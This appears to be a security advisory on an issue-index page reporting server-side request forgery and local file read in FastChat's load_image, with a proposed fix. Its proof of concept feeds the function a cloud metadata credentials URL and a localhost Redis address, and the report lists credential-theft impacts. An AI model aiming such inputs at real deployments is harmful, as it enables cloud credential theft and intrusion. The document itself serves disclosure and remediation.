Vulnerability Report: SSRF + Arbitrary Local File Read in fastchat.utils.load_image via unvalidated image URL/path
Nobody has claimed this yet.
- Dominant language
- Python
- Stars
- 39.5k
- Forks
- 4.8k
- PR merge metrics
- No merged PRs in 30d
Description
## Severity
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L (8.6 High)
CWE-918 (Server-Side Request Forgery), with secondary CWE-22 / CWE-73 (Arbitrary Local File Read via path-based dispatch).
## Description
`fastchat.utils.load_image(image_file)` dispatches on string-prefix/suffix heuristics without scheme allowlist, host validation, private-IP block, or path canonicalization. Three branches yield three independent primitives:
1. `image_file.startswith("http://") or .startswith("https://")` → `requests.get(image_file)` → full Server-Side Request Forgery
2. `image_file.lower().endswith(("png","jpg","jpeg","webp","gif"))` → `Image.open(image_file)` → arbitrary local image-file read via extension-gated PIL open
3. `image_file.startswith("data:")` or fallthrough → `base64.b64decode(image_file)` (default `validate=False`) → decoder-oracle
## Vulnerable Code
`fastchat/utils.py` at lm-sys/FastChat `main` (HEAD-verified 2026-05-17, ~lines 394-412 in current bundle):
```python
def load_image(image_file):
from PIL import Image
import requests
image = None
if image_file.startswith("http://") or image_file.startswith("https://"):
timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
response = requests.get(image_file, timeout=timeout)
image = Image.open(BytesIO(response.content))
elif image_file.lower().endswith(("png", "jpg", "jpeg", "webp", "gif")):
image = Image.open(image_file)
elif image_file.startswith("data:"):
image_file = image_file.split(",")[1]
image = Image.open(BytesIO(base64.b64decode(image_file)))
else:
image = Image.open(BytesIO(base64.b64decode(image_file)))
return image
```
## Reachability
`load_image` is called from documented public flows:
- `fastchat/conversation.py:441, 454, 614, 624, 643, 657, 467, 481` — `save_new_images()`, `extract_text_and_image_hashes_from_messages()`, `to_gemini_api_messages()`
- `fastchat/serve/gradio_web_server.py:45` — imports `load_image` into the public chat-arena Gradio flow
- `fastchat/serve/api_provider.py:104, 114` — Gemini provider routing
Default deployment exposes both flows without authentication:
- `fastchat/serve/openai_api_server.py:100-128` starts with `api_keys=None` → anonymous API server
- Gradio `chat-arena` binds `0.0.0.0` → reachable from any network
A user submitting a message with an attacker-controlled image-URL (or a typed string starting with `http://`) triggers the SSRF.
## Proof of Concept
Standalone Python reproducer; requires only `pip install fastchat-llm` (or local clone):
```python
import sys, requests
calls = []
orig = requests.get
def spy(url, timeout=None, *a, **k):
calls.append(url)
print(f"[+] SSRF fired: {url} (timeout={timeout})")
class R: content = b"\x89PNG\r\n\x1a\n" + b"\x00"*100
return R()
requests.get = spy
from fastchat.utils import load_image
# SSRF → AWS IMDS
try: load_image("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
except Exception: pass
# SSRF → internal Redis / port scan
try: load_image("http://127.0.0.1:6379/")
except Exception: pass
# Arbitrary local file open (extension-gated)
open("/tmp/leak.png","wb").write(b"\x89PNG\r\n\x1a\n" + b"\x00"*100)
try:
img = load_image("/tmp/leak.png")
print(f"[+] Local file open: size={getattr(img,'size',None)}")
except Exception as e:
print(f"[!] PIL parse error after open: {e}")
assert len(calls) == 2, calls
print("[+] PoC OK")
```
Executed output:
```
[+] SSRF fired: http://169.254.169.254/latest/meta-data/iam/security-credentials/ (timeout=3)
[+] SSRF fired: http://127.0.0.1:6379/ (timeout=3)
[+] Local file open: size=(1, 1)
[+] PoC OK
```
## Impact
**SSRF** (primary):
- AWS IMDS / GCP / Azure cloud metadata exfiltration → IAM credential theft → cloud account compromise
- Localhost-only admin panel access (Redis, Elasticsearch, Kibana, internal Jenkins)
- Port scanning via response-timing oracle on the FastChat host's local network
**Arbitrary local file read** (secondary):
- Any `*.png|jpg|jpeg|webp|gif`-suffixed path readable by the server process is opened by PIL
- Image-parser CVEs become reachable from unauthenticated network input (libwebp CVE-2023-4863, libpng heap CVEs)
**Decoder oracle** (tertiary):
- `base64.b64decode(..., validate=False)` accepts malformed input silently; combined with `Image.open(BytesIO(...))` exposes the image parser to bypass-style payloads
## Suggested Fix
Add a URL safety check and restrict local-file branch to a configured allowlist directory:
```python
from urllib.parse import urlparse
import ipaddress, socket
from pathlib import Path
ALLOWED_SCHEMES = {"http", "https"}
IMAGE_DIR = Path(os.getenv("FASTCHAT_IMAGE_DIR", "/var/lib/fastchat/images")).resolve()
def _is_safe_url(url: str) -> bool:
p = urlparse(url)
if p.scheme not in ALLOWED_SCHEMES: return False
try:
for fam, _, _, _, sa in socket.getaddrinfo(p.hostname, None):
ip = ipaddress.ip_address(sa[0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
except socket.gaierror:
return False
return True
def _is_safe_local(path: str) -> bool:
try:
resolved = (IMAGE_DIR / path).resolve()
return IMAGE_DIR in resolved.parents or resolved == IMAGE_DIR
except (OSError, ValueError):
return False
def load_image(image_file):
from PIL import Image
import requests
if image_file.startswith(("http://", "https://")):
if not _is_safe_url(image_file):
raise ValueError("URL targets internal/private address; refused")
timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
response = requests.get(image_file, timeout=timeout)
return Image.open(BytesIO(response.content))
if image_file.lower().endswith(("png","jpg","jpeg","webp","gif")):
if not _is_safe_local(image_file):
raise ValueError("Local path outside configured image directory; refused")
return Image.open(image_file)
if image_file.startswith("data:"):
image_file = image_file.split(",", 1)[1]
return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))
return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))
```
Recommend additionally:
- Make `api_keys=None` an opt-in (require explicit `--allow-anonymous` flag rather than silent default)
- Audit sibling sinks: `controller.py /register_worker` unauthenticated by default; `model_adapter.py` `torch.load` without `weights_only=True`
## References
- Vulnerable file: https://github.com/lm-sys/FastChat/blob/main/fastchat/utils.py#L394
- Gradio import site: https://github.com/lm-sys/FastChat/blob/main/fastchat/serve/gradio_web_server.py#L45
- Auth default: https://github.com/lm-sys/FastChat/blob/main/fastchat/serve/openai_api_server.py#L100
- Bug class: CWE-918 SSRF; OWASP A10:2021
- Related prior issues: #3713 (model load RCE), #3720 (trust_remote_code RCE) — same disclosure pattern
## Environment
- FastChat trunk HEAD as of 2026-05-17; `fastchat/utils.py:394-412` unchanged from initial reproduction on 2026-05-13
- Verified with `pip install fastchat-llm` and from-source clone
- PoC reproduces on Linux + macOS
---
Reporter: Jaeyoung Yun (GitHub: JAE0Y2N)
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with fastchat/utils.py around load_image and run the standalone reproducer provided in the issue. Trace its callers in fastchat/conversation.py, fastchat/serve/gradio_web_server.py, and fastchat/serve/api_provider.py. Done means the reported SSRF, local-path access, and permissive decoding cases are rejected or constrained, with the anonymous API exposure reviewed as described.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python
- Domain
- backend-api-design, security
- Issue type
- Bug
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 42/100